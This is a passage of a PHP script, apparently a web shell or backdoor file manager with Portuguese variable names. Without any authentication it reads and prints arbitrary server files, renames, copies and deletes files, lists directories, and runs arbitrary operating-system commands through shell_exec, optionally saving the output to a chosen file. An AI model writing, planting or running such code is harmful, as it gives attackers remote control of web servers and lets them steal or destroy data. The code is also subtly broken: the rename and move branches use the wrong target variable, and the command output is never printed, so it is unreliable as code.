0) && (strlen($renomear) == 0) && (strlen($copiar) == 0) && (strlen($mover) == 0))
{
header('Content-Type', 'text/plain');
$texto = file_get_contents(realpath(dirname($pagina)) . DIRECTORY_SEPARATOR . basename($pagina));
echo(htmlentities($texto));
die();
}
if ((strlen($pagina) > 0) && (strlen($renomear) > 0))
{
rename(pagina_absoluta($pagina), pagina_absoluta($copiar));
die();
}
if ((strlen($pagina) > 0) && (strlen($copiar) > 0))
{
copy(pagina_absoluta($pagina), pagina_absoluta($copiar));
die();
}
if ((strlen($pagina) > 0) && (strlen($mover) > 0))
{
rename(pagina_absoluta($pagina), pagina_absoluta($copiar));
die();
}
if (strlen($excluir) > 0)
{
unlink(pagina_absoluta($excluir));
die();
}
if (strlen($deletar) > 0)
{
unlink($deletar);
die();
}
if (strlen($pasta) > 0)
{
$pastas = pastas(pasta_absoluta($pasta), $recursivo);
foreach ($pastas as $pasta)
{
echo($pasta . '
');
}
die();
}
if (strlen($diretorio) > 0)
{
$pastas = pastas($diretorio, $recursivo);
foreach ($pastas as $pasta)
{
echo($pasta . '
');
}
die();
}
if (strlen($cmd) > 0)
{
$output = shell_exec($cmd);
if (strlen($saida) > 0)
{
file_put_contents(realpath($saida), $output);
}
else
{
print_r($saida);
}
die();
}
function pagina_absoluta($pagina)
{
if (substr($pagina, 0, 1) == '/')
{
$pagina_absoluta = $_SERVER["DOCUMENT_ROOT"] . str_replace('/', '\\', $pagina);
}
else if (substr($pagina, 0, 1) == '.')
{
$pagina_absoluta = __DIR__ . DIRECTORY_SEPARATOR . str_replace('/', '\\', dirname($pagina)) . DIRECTORY_SEPARATOR . basename($pagina);
}
else
{
$pagina_absoluta = __DIR__ . DIRECTORY_SEPARATOR . str_replace('/', '\\', $pagina);
}
return($pagina_absoluta);
}
function pasta_absoluta($pasta)
{
if (substr($pasta, 0, 1) == '/')
{
$pasta_absoluta = $_SERVER["DOCUMENT_ROOT"] . str_replace('/', '\\', $pasta);
}
else
{
$pasta_absoluta = realpath($pasta);
}
return($pasta_absoluta);
}
function pastas($folder, $recursive = TRUE, $include_folders = TRUE, $include_files = TRUE, $mask = NULL)
{
$folder = rtrim($folder, DIRECTORY_SEPARATOR);
$pastas = array();
$files = array_diff(scandir($folder), array('.', '..'));
foreach ($files as $file)
{
if (is_dir($folder . DIRECTORY_SEPARATOR . $file))
{
if ($include_folders)
{
array_push($pastas, $folder . DIRECTORY_SEPARATOR . $file);
}
if ($recursive)
{
$pastas = array_merge($pastas, pastas($folder . DIRECTORY_SEPARATOR . $file, FALSE, $include_folders, $include_files));
}
}
else if (is_file($folder . DIRECTORY_SEPARATOR . $file))
{
if ($include_files)
{
array_push($pastas, $folder . DIRECTORY_SEPARATOR . $file);
}
}
}
if (!is_null($mask))
{
foreach ($pastas as $key => $value)
{
if (!fnmatch($mask, $value))
{
unset($pastas[$key]);
}
}
}
return($pastas);
}
?>